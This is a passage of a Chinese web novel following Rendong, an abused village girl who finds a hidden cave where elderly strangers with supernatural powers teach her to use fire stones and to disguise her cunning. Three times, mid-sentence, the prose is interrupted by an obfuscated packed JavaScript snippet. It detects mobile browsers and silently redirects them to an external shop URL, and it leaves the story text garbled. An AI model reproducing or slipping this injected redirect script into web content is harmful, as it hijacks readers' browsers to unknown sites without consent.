她迅速从石头上爬起来。 震惊地看着头顶亮处的来源。 这蜡烛,怎么亮着跟白天似的?! 外头这天,怎么这般漆黑了? 她回过神,立即快步往洞口的方向跑去,跑了两步又回来,捡起还剩些药材的背篓,再往山东口跑。 再不回去,她奶肯定要骂她。 …… “这是什么?草?” “不是草,是药,这个画,跟那个一样,可以止痛,”夏瑞蒂指着角落里摊着的药材,“确实跟上面画的一样。” “止痛?就这个草?” “忍冬说是可以止痛的。” “如果真能止痛,是不是可以让二哥试试?这些年送来的止痛药也越来越少,每年送来的那些只够一个人吃两个月的,现在药都已经吃完了,二哥疼的那样难受,要是不能止痛,他估计要彻底失去意识了。” “不行,忍冬说它是药,也是毒,吃多了会中毒,二哥身体本就不好,再叫他吃这些,怕是身体会更差。” “毒就是毒,她怎么说是药?” “依她的说法,这药不能单用,还需要跟别的药材一起用,”夏瑞蒂说着,看着那些药材,“等她再来,我问问她,即便真有毒,也比二哥彻底失去意识要好。” “嗯,对了,去仓库里找找,看有没有可用的东西,只要她愿意给二哥治病,就都给她吧。” “我们仓库里那些东西,她能看得上?” “你们没有发现吗?她刚刚盯着那灯看了许久,眼中满是震惊,所以即便我们被关押在此,能得到的东西都比她这个原住民要好得多。” “此话有理。” “她当真是原住民?” “就算不是,从她的状态看,她对我们能拿出来的东西也是极有兴趣的,所以去找找吧,只要她愿意给药,仓库里的东西都可以给她。” “好。” …… 忍冬离开山洞,外面已经完全是一片漆黑,连道路也完全漆黑。 好在她在这里生活多年,即便是摸黑也能前行,找到了主路后,就顺着主路快步往家跑。 家中也是一片黑。 忍冬抬手按住胸口,压了压砰砰直跳的心脏。 老太太的房门打开。 她下意识躲到了暗处。 老太太没发现她,捂着肚子就往茅房里冲,边冲边低嚎:“哎呦,家里的腌菜是真的坏了啊,那么大一坛子菜呢,嘶——” 忍冬从角落里走出来,听着茅房里的声音,脸上露了笑。 怪不得都没有等着骂她,原来是拉的虚脱了啊。 活该! 不过她真得找机会脱离这个家。 她有一种感觉,那个山洞不简单,而且很不简单。 不光是今天的那个亮着的能将黑夜照成白天的蜡烛,还有她耳中的这个东西,都是她闻所未闻,甚至在说书先生口中,都从未出现过的。 那些说书先生可是消息最灵通的,连他们都不知道,这些东西必定极为珍贵! 8. 不用再来 “死丫头,还不醒,给我起来!” 忍冬睁开眼,看到站在窗边的老太太,蓦地缩了缩身体:“这就起了。” “快点起床做饭,哎呦——”老太太话还没说完,又捂着肚子往茅房去,但因为拉了一晚上,实在是有些虚脱,就这样踉踉跄跄地过去。 忍冬看着她的背影笑了笑,这才起身下了床。 家里的事情说多不多,说少不少,真要做的话,会有许多要干的活,不过这些都是她熟悉的活,做起来还算有条不紊。 等她做完早饭,老太太才拖着虚浮的脚步进屋。 桌上摆了碗腌菜。 “你想害死我吗?都说这腌菜坏了,还给我吃?!” 忍冬低着头回:“那么大一坛呢,都坏了吗?要是丢了会很可惜。” 老太太下意识想要丢掉,但看着那坛子腌菜,确实又舍不得,她看向忍冬:“你昨天几时回来的,就采了院里那些草药?” 忍冬点了点头:“昨日进山没碰上,今日我一定好好找。” “那你别吃这个,不然吃坏了肚子耽误进山,”老太太皱眉看着桌上的腌菜,再看向忍冬,“你不会是故意的吧,想吃坏肚子不进山?” 忍冬低头,轻声回说:“没有,我不敢。” “你要是敢偷懒,我打死你,”老太太冷声道,再看着桌上的饭菜,不耐烦地摆头,“行了,你带两个饼子进山吧,我不管你想什么办法,三天后你给我带回一百个铜板,否则就别回来了。” 忍冬立即开口:“奶——” “快去,对了,你也不用来回耽误时间,就在山里待着,三天后不带钱回来,看我不扒了你的皮!” 忍冬还想在说什么,但抬头与老太太目光对视后,便立即低下了头。 最终还是无奈妥协,默默去拿桌上的饼。 拿了两个还想拿第三个的时候,她的手被老太太按住:“钱都没拿回来,吃什么饼?林子里不是有果树么,自己去摘了吃。” 说完,老太太甩开她的手:“就两个饼,你要是再不动,这两个饼也别想吃了!” 忍冬默默挪动着脚步出门,回头都没见老太太有丝毫想要喊她的意思,只能拿上院子里的竹篓和晒着的药材离开。 走出院门后的好一会儿,她也一直都是垂着头的。 直到有人喊了她一声。 忍冬面无表情地回头,看到来人后又看了眼她家的方向,确认老太太不可能再看到她,木讷的神情变成了沉静。 “在你奶面前,你可真听话,”来人不是别人,正是狗贵,“昨天你爹出了那么大的事,村里村外都传开了,大家都知道你爹彻底不行了,今天女方那边就会来退亲。” “挺好,”忍冬点头,“那我们的交易就算是完成了。” “事情闹到现在,你我都满意,”狗贵说道,好奇地看着她,“不过说真的,我还是很好奇,你背地里谋划这么多,怎么还能那么听话?刚才还被你奶赶出门了,这不是跟你想的不一样吗?” “你怎么知道我是被赶出门的?”忍冬抬眼看他。 狗贵扬眉:“你想跑?” 忍冬只是静静看他,并不说话。 “你一个女孩子,跑了这里还能去哪里?以你的性子,不如找个男人嫁了,还能好拿捏,这要是离开了这里,以后的日子也不会好过,”狗贵少有地露出了认真的神情,“你听我一句,与其跑了,不如自己想办法找个好婆家。” “好,我听到了,还有别的事吗?”忍冬问道。 狗贵看她:“本来我是想来跟你说,你爹说亲的女方那边要来退亲,你家的事不会太少,你得找机会离开,现在既然你奶主动赶你走了,你索性在外面多待待,不过你一个女孩子在外面会很危险,尽量能躲就躲。” 忍冬点头:“行。” 虽然狗贵在村里的名声不好,但他人还算是好人,不然一开始她也不会找他合作。 当年狗贵为了救钱三,意外出事,从那以后便不再是男人,他当时没有怪钱三,但钱三却怕他找麻烦,不仅没有道谢,反而还总是嘲讽他,两人的梁子就算是结下了。 之后好多年,两人只要见面就会互相嘲讽。 直到前不久才有些缓和。 但那次缓和,就是忍冬和狗贵的合作开始之时。 现在钱三变成了跟狗贵一样的情况,两人的目标都算完成。 “没什么事的话我进山了,”忍冬拉着背篓,看着狗贵说道,“我爹那边,虽然他已经变成了现在这副德行,但你想玩还是可以随便玩,只要短时间内不要玩死就行,现在家里还需要我,我能做自己的事,你要是把他玩死了,我大伯二伯会立刻想办法把我嫁出去,到时候我不好跑。” “这可是你说的,”狗贵笑了,“那我可得好好玩玩,一定让你爹的情况比我还惨。” “随你。” 忍冬说过话,转身往林子里走去。 老太太将她赶出来这件事并不在她预料之中,或者说并不是她计划的,不过这番作为,倒是给了她机会。 山洞那边的小麦眼看着就要成熟,要全部收割,少不得要花不少时间,她正愁怎么才能长时间在外面待着,老太太就给了她这个机会。 等小麦都卖出去挣了钱,她也依然可以用赚钱的名义长时间待在外面,正好可以打算一下怎么彻底脱离这个家。 嫁人算是个不错的法子。 但嫁了人,她每日来去依然要被人盯看着,跟在家被她奶盯着的区别并不大,这件事也不能轻易做决定。 左右现在她才十二岁,距离嫁人还早,还是长期打算吧。 她在山里转了几圈,找到了一批药材后,去山洞里拿了昨天采的药材,带着一起进了县城了,悄悄溜到了卫大夫的药铺后门。 辛夷听到声音,来给她开了门,激动地拉着她的手说话:“真是你啊,我以为自己再也见不到你了!” 忍冬也拉住了她的手:“家中发生了一些事,卫大夫是不是已经将事情与你说了?” 辛夷点头,不好意思地看她:“我爹……我爹说……他说我还小,暂时不能出诊,所以暂且不需要跟着我的药童。” 忍冬猜测卫大夫肯定不是这么说的,毕竟昨天的情况,卫大夫确实气的不轻。 “没关系,我们都还小,需要学的东西还有很多呢,”忍冬回握着她的手,“辛夷,我能见见你爹吗?我有话要对他说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135701|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可以,我这就去喊他。”辛夷应下,立即进了前头铺子里。 不一会儿,卫大夫就跟着她一起走了过来。 刚见到忍冬,卫大夫就从朝着她伸了手,露出了手上的铜板:“这是昨日你奶付的药钱,原本药钱你都给了,这些是多的,还给你。” “听说人家上学都是要束脩的,我跟着卫大夫学习,什么也没给,就当是束脩吧,还有这个,这是我昨日和今日采的药,都送给卫大夫。”忍冬捧着背篓,将一背篓的药材都放到卫大夫面前。 卫大夫看了看她,又看了看背篓里的药材。 许久之后叹了一声:“可惜你生在那样的家中,忍冬,以后你不必再来了,我这药铺小,怕惹麻烦。” “我知道的,这些都是之前的束脩,不是以后的,”忍冬认真道,“卫大夫教了我许多,我应该要答谢,而且我以后也还能继续进山采药,要不是卫大夫,我不会懂那么多,卫大夫放心,我今日特意没有走前门,不会有人发现我来过。” 辛夷看着,于心不忍,拉着卫大夫的手:“爹……” “不行,”卫大夫摇头,皱眉道,“这样的麻烦,我们家担不住。” 辛夷还要再说,却被忍冬微笑着打断:“我知道的,卫大夫心肠很好,是我奶不好,以后我不会再来,这些药材请卫大夫收下。” “你可想好了,这些药材值不少钱,你都给了我,回去怎么同你奶交代?”卫大夫问道。 “之前在卫大夫这里卖了些药材,我攒了不少,我奶不知道的,”忍冬依然微笑,将背篓往前推了推,“卫大夫收下吧。” 卫大夫深深地看着她,转头看女儿:“辛夷,将忍冬带过来的药材收拾出来,忍冬你跟我进来。” 忍冬点头,将背篓都交给辛夷,跟着卫大夫进了一间屋子。 进屋之后,她下意识先看了一圈,发现这屋里都是些书,想到说书先生说书房是很重要的地方,便迅速低下了头。 不久之后,卫大夫走出来,将一本厚厚的书册放到她面前:“拿着吧。” 忍冬低头看了眼书册,再抬头看着卫大夫。 卫大夫背着手:“这本书原本就是打算交给你的,你识字少,却天资聪颖,是个学药的好苗子,你应该听辛夷说过,原本我打算叫你跟她学医学药,往后当她的药童,但如今这情况,怕是不行了,不过这书你还是拿走,也算是了却我们之间的师徒情谊。” 忍冬再次低头,翻开了手上的书册。 每一页都是各种药材的图样,以及如何炮制的方法,哪些部位才是真正的药材,底下还用文字写了药材的药效。 最后还有些简单的基础药方。 这本书,好似是专为她制作的。 她看了看卫大夫,合上手里的书,双膝跪地,磕头道谢。 “不用喊我师父,我们的缘分已经结束,”卫大夫转过了身,背对着忍冬,“好了,你回吧,以后都不用再来。” 忍冬认真回道:“卫大夫放心,我不会给药铺添麻烦的,以后不会再来,也不会在我奶面前提到卫大夫。” 说着,她又认认真真磕了个头,这才起身出门,从依依不舍的辛夷手里接过背篓后,从后院离开。 9. 怎么哄骗 离开药铺后,忍冬的第一反应是想去林子里找娘亲,但走了两步后还是定住了。 娘本就担心她的情况,要是这时候去说自己被赶出来,需要在外头讨活,肯定会更担心她,所以还是算了吧。 她环顾四周,拽了拽肩上的背篓带子,想着山洞那边即将成熟的小麦,抿唇微笑。 正好趁这几日有空,可以把那些小麦给收割了,卖掉之后买一些料子和绣线,让娘在山上也有事情干,不会觉得自己是个拖累。 她取下背篓,将背篓倒置,从背篓的底部挖出之前藏着的铜板。 这半年时间,她靠卖药材和萝卜白菜等,赚了不少铜板,这些铜板的大部分都用来买粮食,剩下这些一部分藏在背篓底下,另外那些都埋在山洞里。 她奶的性格她再清楚不过,要是被她发现自己藏了铜钱,肯定都会被抢走,所以她一早就做好了准备,至少到目前为止,她藏着的铜钱都没有被发现过。 这次她将藏在背篓底下的铜钱全部都摸了出来,去买了一把镰刀,和一个小砂锅。 采药的事先不急,既然她总得在外面待着,她奶也不会知道自己有没有采药,左右到了时间拿钱回去就行。 东西买好,她又拿着剩下的铜钱去买了两个白面馒头。 不回去,她奶也闻不到她嘴里的味道。 被赶出来还算是好事。 忍冬开心地吃了个馒头,快步往山洞的方向走去。 进了山洞,她率先走到藏钱的地方,将埋着的钱挖出来数了数,确定没错后又埋进去,结结实实压好,这才继续进山洞。 走出山洞,她闻到了更加浓郁的麦香味。 快了,很快就能收获。 她站在一株高大的小麦面前,仔细瞧了瞧上面的麦穗,将它凑到鼻间碰了碰。 只要一想到接下来能收获这么多的小麦,她之前半年的辛苦就完全不值一提了,再没有什么比粮食充足更让人开心。 看过小麦,她左右看了看,没有见到先前那个富家老太太,心想她或许有事,便没有再找她,带着手上的东西到了水边。 之后的日子,她都要在这里吃饭。 忍冬将手上的东西放好,从水里捡了些石头,用石头和泥巴垒了一个简单的灶台,等待灶台干燥的时候,她又去附近捡树枝和树叶。 回来的时候,她看到了站在灶台边上的夏瑞蒂。 “夏奶奶来了,要吃萝卜吗?”忍冬主动问道,“以后夏奶奶要吃萝卜的话,可以自己拔的,没关系。” “那太好了,”夏瑞蒂高兴道,“你的萝卜很好,我可以跟你换,你需要什么东西?我可以设法去替你找来。” 忍冬看了她一眼,心想自己要金银。 但……这个老太太很不一样,或许好好结交比现在就要东西更好。 而且这地应该也是她的,自己开了口,万一她恼怒,将这片地要回去,那可不好。 忍冬压下了心里的想法,抬头笑道:“不用的,夏奶奶,萝卜不值钱,你可以随便吃。” 说过话,她将手上的东西放下,又去看了看石头灶台。 这里没有火,她还得去借火。 不知道老太太身上有没有火折子。 她回头笑着问道:“夏奶奶,你这儿有火吗?” “你这是要煮东西?”夏瑞蒂看着那个看着很古早的灶台,这样的东西,她只在原始纪录片里看到过。 忍冬点头:“嗯,我要给自己煮点东西吃,要是夏奶奶这儿没有火,我可以去外头借个火。” “这不难,不用你去借。” 夏瑞蒂从地上捡了跟棍子,手指交错,打了个响指。 手指响起的瞬间,树枝的顶部就出现了火苗。 忍冬被吓的后退两步,蓦地抬头看着眼前的老太太。 “你没事吧,”夏瑞蒂抬手,碰了碰她的脸颊,“怎么脸色这么白,还是……我吓着你了?” 忍冬重重地咬了下唇。 不是做梦! 天底下,居然有人能有这样的本事?!不用火折子,徒手变出火来,要是她有这样的本事,以后哪里还需要担心怎么过日子?!!! “没事,我没事,夏奶奶好厉害,”忍冬屏住了呼吸,抬手主动拉住夏瑞蒂的手,“既然有了火,我们就开始煮东西吧,夏奶奶爱吃煮萝卜吗?煮萝卜也很好吃。” “那个萝卜还能煮着吃?真的很好吃吗?” “当然啊,可好吃了,夏奶奶你等着,我这就煮给你吃。” 她从夏瑞蒂手里接过燃着火的树枝,将灶台升起来,拿着砂锅去溪里舀水,再迅速去地里拔了几个萝卜白菜,认认真真在溪里洗干净,不留丁点儿泥。 没有刀,就直接掰。 没有筷子,就用树枝。 旁的东西她找不出来,就只能吃简简单单的萝卜白菜汤。 但富家老太太的脸上还是露出了兴致勃勃的表情。 忍冬一直在用目光观察着富家老太太的表情,见她这样,心里不免有了猜测。 再怎样“四体不勤五谷不分”的富家老太太,应该也不至于对一锅清水煮的萝卜白菜汤感兴趣,而眼前的这个富家老太太又有徒手生火的本事。 难不成她是说书先生口中提过的仙人? 想着,她忍不住按了按自己的心口,她的心正在砰砰直跳,仿佛随时都要从嘴里蹦出来。 不管这个老太太是不是仙人,只凭她那一手生火的本事,这人肯定不简单,无论如何,她都要跟这人好好相处。 忍冬低着头,用树枝搅拌着锅里的萝卜和白菜。 再抬头时,脸上带着明显的笑容,从怀里拿出馒头:“夏奶奶饿了吗?要不要吃馒头。” 夏瑞蒂问道:“好吃吗?” 忍冬微微睁大眼睛。 这人怎么连馒头都不认识? 她将馒头递过去:“很好吃的,夏奶奶吃吧,我刚刚已经吃过一个了,对了,这个馒头是小麦做的,就是那些。” 夏瑞蒂看了眼地里的那一大片麦田,再看忍冬手上白色的馒头,怎么也想不通这两者会是同一样东西,而且这馒头看上去,似乎没有萝卜那么好吃。 想归想,她还是接过了馒头。 咬了一口后,她仔细品味了一会儿,点头道:“虽然这馒头没什么味道,但还挺好吃的,而且软乎乎的,有点意思,这些萝卜煮好了吗?” 相较于馒头,她还是更喜欢这个味道特别的萝卜。 忍冬立即将充当筷子的树枝递过去。 夏瑞蒂接过两根树枝,看了看忍冬的手势,调整过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135702|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿势后,有模有样地夹起了一筷萝卜。 “小心烫,夏奶奶。”忍冬蹲着,微笑着看她。 “那我慢慢吃。”夏瑞蒂等了一会儿,直到萝卜不再滚烫,才送进嘴里。 煮熟的萝卜没有生萝卜那样刺激的味道,口感也跟生萝卜不太一样,让她原本期待的心情有些失落。 忍冬一直观察着她的表情,见她这样,立即说道:“今天来的匆忙,没有带盐过来,明日我去买些盐过来,味道会好些,不过要是能有别的调料,煮萝卜的味道会更好。” “当真?”夏瑞蒂又升起了期待。 忍冬迅速点头:“当然,等我卖了这些小麦,就去买调料,到时候给夏奶奶煮更好吃的菜,不过这些菜也不一定要煮,如果是炒菜的话,味道会更好,那些大酒楼做的菜味道可好了,等我有钱了,可以去酒楼买菜给夏奶奶吃。” “那可太好了,这些小麦什么时候能卖?”夏瑞蒂问道。 “再有两三天就成了,我今天已经买了镰刀过来,”忍冬指着镰刀,“等收割好,再处理一下就能卖,这么多小麦,能卖不少钱呢。” “到时候我可以帮你,”夏瑞蒂说道,吃了口萝卜后又问,“对了,刚才问你想要什么,你还没说呢,我总不能一直白吃你的东西。” 忍冬想了想,认真道:“没关系的,有这个火就够了,这样我晚上睡觉就不会冷了。” 天气越来越冷,她虽然可以在山洞里临时睡一睡,但没有被褥肯定会冷,明天去县城的当铺看看,或许能买到便宜的破褥子。 至于找富家老太太要东西这件事,她不能心急。 如果她们能一直好好相处,之后或许能多要些银两,没准有十两,或者是二十两,甚至是更多。 到那时候,她就可以完全脱离那个家了。 “你在这里等我,我去给你拿样东西。” 夏瑞蒂起身,往一处山壁走去。 忍冬疑惑地看着她,好奇她怎么往那边走,直到看到山壁上突然出现了一扇门,等到人进去后,那扇门闭合,肉眼看上去与山壁严丝合缝。 怪不得她之前都没有发现对方是怎么来的! 这个山洞到底是什么情况? 她忍不住左右环顾。 她不知道,在她环顾时,门内正有人在提起她。 “别把人吓到。” “不会,那小姑娘就算被吓到了,也不会表现太明显,是个胆大的。” “万一把人吓跑了怎么办?” “你没发现吗?她一直都惦记着那片麦田呢,就算要跑,也要等到那些麦子都被收割了。” “真的?” “当然是真的,而且你没发现她一直哄着你吗?就是年纪太小没有阅历,顶多骗骗你这样的人,我得去教教她,以后就算要骗人哄人,表情也不能那样明显,被人看出来不是白瞎了?” “不是,等等,你站谁那边?她哄骗的人是我,怎么还向着她?” “你不向着她?那你留下来,我去,我不怕被她哄骗。” “别,我们还是一起吧,我愿意被她哄骗,不过说好了,你别太过分,把人吓跑了,以后我们都吃不着那些好东西。” “放心吧,我只是馋好吃的,顺便教教她怎么哄骗,才能让别人对她毫无怀疑。” 10. 我想要学 两个人?! 忍冬缓缓握紧了拳,目光警惕地看着从山壁走出来的两人。 跟夏瑞蒂站在一起的那人跟她一样,也都是满头白发,看上去岁数不小,也穿着精致的衣物,身份大抵同样不简单。 对方走近,在她面前站定后,低头微笑着开口:“你没见过我,但我已经见过你好多回了,我姓白。” 忍冬低低地喊了一声:“白奶奶好。” 白仁悦笑着找了块干净的石头坐下,平视着她开口:“你不用在我面前伪装,你那点小伎俩,我能看的一清二楚。” 忍冬下意识抿唇,不敢再直视她,低着头轻回:“我不知道白奶奶的意思。” “不过我不介意,”白仁悦抬起右腿,交叠在左腿上,右手手肘支在膝盖上,垂下脑袋直视着她的眼睛,“你想要这个吗?” 忍冬还是没忍住好奇之心,疑惑地看她。 然后眼看着她张开的手心处,盘旋了一团水球。 她蓦地睁大眼睛,完全控制不住眼中露出惊诧的神色,盯着她的手心看了许久。 白仁悦翻转手心,收起手心处的水球,淡声道:“我想这几日时间,你应该已经发现这里的情况与你平常接触的并不相同,只是你不敢戳破,怕一旦戳破,那些麦子都将与你无关,我可以告诉你,这是异能,你可以学,但我们需要交易。” “我愿意付出一切!”忍冬再无法回到平常的伪装模样,急不可耐地开口,“只要你能教我,我什么都能做。” “我想吃任何东西,都行?”白仁悦问道。 忍冬立即点头:“没问题,任何东西,只要我能买到的,都可以给你带来,如果你愿意教我,我都听你的。” “我也可以教,”夏瑞蒂拉过忍冬,“你别欺负她,她还小。” “明明是她自愿的,”白仁悦笑着看向忍冬,“我说的对不对,小忍冬?” 忍冬看了看她,随后侧头看向夏瑞蒂。 白仁悦不禁笑出声来:“还懂得评估谁对你有利,倒确实有点聪明,不过小朋友,你做的太明显了,这对你的谋划可没有好处。” “不管她怎么样,我都愿意教她,她要什么我也都愿意给,”夏瑞蒂接话,搂着忍冬的肩不放手,“你别搞事,这里没那么多人给你玩。” 忍冬这回听清楚了其中的意思,迅速靠近夏瑞蒂,抬头认真道:“夏奶奶你好厉害,我喜欢你。” “我也喜欢你,别怕,我在呢,我能给你撑腰,”夏瑞蒂抬手,轻拍她的脑袋,再看向白仁悦,“你要是不干正事,就回去吧,答应你出来,不是让你来欺负忍冬的。” “好了好了,我不玩了,”白仁悦站了起来,叹着气摊手,看着忍冬问道,“我饿了,能吃点东西吗?” 忍冬犹豫片刻,最终还是没有拒绝,点头答应下来,并主动将洗干净的筷子递给她。 三人又坐下来吃东西。 锅里就是最简单的水煮萝卜白菜,味道普普通通,但三人都吃的津津有味。 中间吃的不够,忍冬又多拔了几颗,煮了第二波。 吃的差不多之后,夏瑞蒂又回了趟山壁,从山壁里出来,手里拿着几颗红色的石头,拉着忍冬的手打开,将石头放在她手里。 “异能入体不是短时间内能完成的事,但我可以先教你怎么用这些石头里的能量。”夏瑞蒂让她握紧石头,低声给她讲述着如何操控石头里的能量。 这是忍冬从未接触过的,刚开始的时候完全不能理解她说的是什么。 不过好在现在她的时间多的是,在一次又一次失败之后,总算在天色完全暗下后,用手里的石头,点燃了一根树枝。 那一瞬间,她仿佛看到了前路的一片光明。 “我成功了!”忍冬激动地看向夏瑞蒂,“夏奶奶,我真的成功了,真的点燃了树枝!!!” “是,你很聪明,也很厉害,”夏瑞蒂也很开心,又包住她的手,“不过这还只是开始,以后你要真正掌握石头的用法,还需要长时间的练习,如果你能彻底掌控好石头里的火能量,我再教你如何让能量入体。” 忍冬立即点头:“嗯,我会好好练习的。” 不管眼前的这人是什么人,只要是她学会的东西,就是属于她的,以后谁都夺不走。 忍冬感受着明显的心跳加速,将手上的石头握的紧紧的。 “对了,还有这个,”夏瑞蒂将一早准备好的东西递给她,“刚才我跟你说要送你的东西就是它,你不是说自己晚上睡觉冷吗?这是恒温睡袋,你晚上可以睡在里面,里面的能量至少可以维持三个月的恒温,足够你渡过这个冬天。” 忍冬震惊地看着她。 这几日,她从眼前这人口中得知了许多见所未见的东西,这个所谓的恒温睡袋,又是从来都没有听说过的好东西。 她突然有些不好意思,觉得自己欺骗了她,下意识抬手要推回去:“夏奶奶,我不能……” “这东西对我不值钱,却是你需要的,不用有负担,拿着就好,”夏瑞蒂拉着她的手让她收下,“时间差不多,往常你不是着急要回去了,这就回吧,免得回去晚了受欺负,我也先走了,明天见。” 这次夏瑞蒂比忍冬先离开。 左右山壁大门的位置已经露出,她也没有隐瞒,直接通过山壁大门进去。 忍冬在原地站了一会儿。 正要离开的时候,山壁大门再次打开。 她立即抬头看去,却发现出来的并不是夏瑞蒂,而是白仁悦,下意识后退了几步。 “这么怕我?”白仁悦笑着一步步走近,“别怕,我还是很喜欢你的,毕竟已经好久没有人跟我动心眼子了。” 忍冬蓦地看她,一时间分不清她是不是在说反话。 白仁悦在离她三步的地方站定,静静地看她:“所以你真不打算跟我学怎么才能伪装到别人都发现不了的技巧吗?以你现在的水平,只要是遇到稍微有点心计的,就能发现你在装傻充愣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135703|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假装示弱,一个不慎,很有可能丢了性命,明白吗?” 忍冬心里一惊。 一会儿之后,她缓缓开口:“所以方才白奶奶说的,是学这个?” “还是说,你想要两者兼顾,还想学这个?”白仁悦摊手,再次凝出手心处的水团,似笑非笑地看着她,“太贪心可不是好事,让你二选一的话,你选哪个?” 忍冬紧抿着唇。 她抬起眼眸:“很明显吗?我是说……我的伪装。” 白仁悦笑了:“我想你应该伪装了许多年,但这些年并没有人发现你的伪装,所以你自认为自己的伪装很出色,对吗?” 忍冬这次没有犹豫,直接点了头:“他们都觉得那就是我,不过我在他们那里,没有那么多话,是我跟夏奶奶说的太多,所以暴露了是吗?” “是,”白仁悦目光欣慰地看她,“因为你只在熟悉你的人那里,才能伪装的好,在外人那里,你认为自己不需要伪装太深,却又想维持自己无害的状态,就很容易会露馅,但你伪装自己,肯定是想要出现在更多人面前,那样的话,你那点伪装水平就不够用了,毕竟你跟人打交道,总不能一直都是沉默寡言的状态吧?” 忍冬皱起了眉。 白仁悦继续往下说:“不过沉默寡言的状态也可以是一种伪装,只看你用在哪里,怎么用,你既然一直都在长久伪装同一个性格,说明你所处的环境并不安全,异能固然是好,但你想要学会,却没有那么简单,实话告诉你,异能学的久了,会让人癫狂。” 忍冬蓦地抬头。 …… “她怎么什么都往外说,想要勾学生,说自己的就好,说什么异能的问题?” “把话说清楚也好,这小姑娘如果真想要学异能,总该提前知晓异能的危害,夏瑞蒂不也没教她异能入体吗?” “异能确实是个好东西,可惜同样害人不浅,要不是……我们也不会都出现在这里。” “二哥已经到临界点了,他现在还好吗?” “现在的情况还算稳定,就是不知道他还能坚持多久。” …… 白仁悦等了一会儿,才再次询问:“现在怎么想?” “白奶奶,学了异能,我多久会癫狂?”忍冬问道。 白仁悦看着她,说了个最短的时间:“最少十年就会变得癫狂。” “我想跟你学怎么伪装好自己,”忍冬决定下来,脸上露出笑容,郑重看她,“只有伪装好自己,才能活下去,但我也想学异能,我要让自己变强大。” 白仁悦惊讶看她:“我跟你说过了,那可能会让你癫狂?这样你还要学?” “学异能会让自己癫狂,但如果不能学异能,我可能会死的更快,所以我要学,”忍冬握着拳头说道,看着白仁悦后退两步,屈膝下跪磕头,“求白奶奶教我,我一定会好好学,绝不会让白奶奶失望。” 只要能让自己变得足够强大,十年时间,她可以安置好娘和那些孩子。 11. 像是虫洞 忍冬回不去家里,只能在山洞里找了个干净的角落躺下,将睡袋平铺放好后,在脑袋后面垫了稻草。 虽然是睡在山洞里,她却觉得这样的日子似乎并不差。 插在山壁的树枝逐渐烧尽,火势越来越弱。 很快,山洞内便漆黑一片。 她闭上眼睛,没过多久就陷入沉睡。 这一觉,一直睡到了天色大亮,等她睁开眼看到亮光时,心里猛地一惊,下意识要爬起来干活,随即看清山洞里的景象,想起自己并不在家里,又安心眯起眼。 这还是她头一次睡那么好,而且早起还不用干活。 重点是这个睡袋,睡起来不仅舒服,还很暖和,她昨天一晚上从没有感觉到凉意,昨晚还似乎做了一个很美的梦。 她将手臂从睡袋里伸出来,调整好姿势后坐起来。 早知道出来后可以休息这么好,她一早就要让她奶将她赶出来才是。 忍冬坐着伸了个懒腰,看着这个空荡荡的山洞,莫名感觉到了开心,即便这里完全没有个家的模样,她却觉得这里就是她的家。 不对,她娘那边也是她的家。 现在她被赶出来了,之后有空的时候她可以去林子里找娘,晚上还能跟娘一起睡。 坐着休息了一会儿,她起了床将睡袋收好,拎着睡袋进了山洞另一边,趁着天色正好,将地里的萝卜拔出来。 拔完之后又将萝卜一一清洗分类,漂亮的萝卜放进背篓里,差一点的萝卜单独放在一边,之后收拾收拾可以做腌萝卜吃。 今天去卖萝卜的时候,顺便将山洞里的钱挖出来,去县城里买几个罐子,还要买盐,买碗。 她还跟娘亲说好了要买些布料和缝线,也得花钱。 这样算下来,接下来需要花的钱不少。 好在地里的小麦要长成了。 忍冬开心地洗着萝卜。 直到山壁那边传来声音。 她站起来,看向山壁,瞧见了从那边走出来的两人,笑着喊人:“夏奶奶,白奶奶,你们来啦,今早要吃吗?我这就煮。” “吃的事先不急,”夏瑞蒂走到她面前,将手上的东西放在她面前,“这是按你的身形,和你身上衣服的款式给你做的,你试试看,有问题可以给你改。” 忍冬下意识擦了擦手,伸手伸到一半,又缩回手:“衣服贵重,夏奶奶,我不能要。” “衣服贵重什么,都是最寻常的,”夏瑞蒂低头,抓起她的手,“还有你的手,怎么这么多伤痕,回头我拿点药给你擦擦。” “我来吧。”白仁悦抓过忍冬的手臂,手上的水团包裹住忍冬的两只手。 忍冬就这样静静地看着自己的手被水团包裹,没有刺痛和不适,只有温软的水意,她说不出这到底是什么感觉,只知道这样很舒服。 不久之后,水团扯去,她看着自己的双手惊奇道:“好白啊。” 白仁悦握着她的手说道:“你手上都是平常干活的痕迹,都落到深处了,要将双手养回来,不仅需要日常护理,你还要减少干活。” 忍冬立即摇头:“不行的,我要干活,不干活我会死的。” 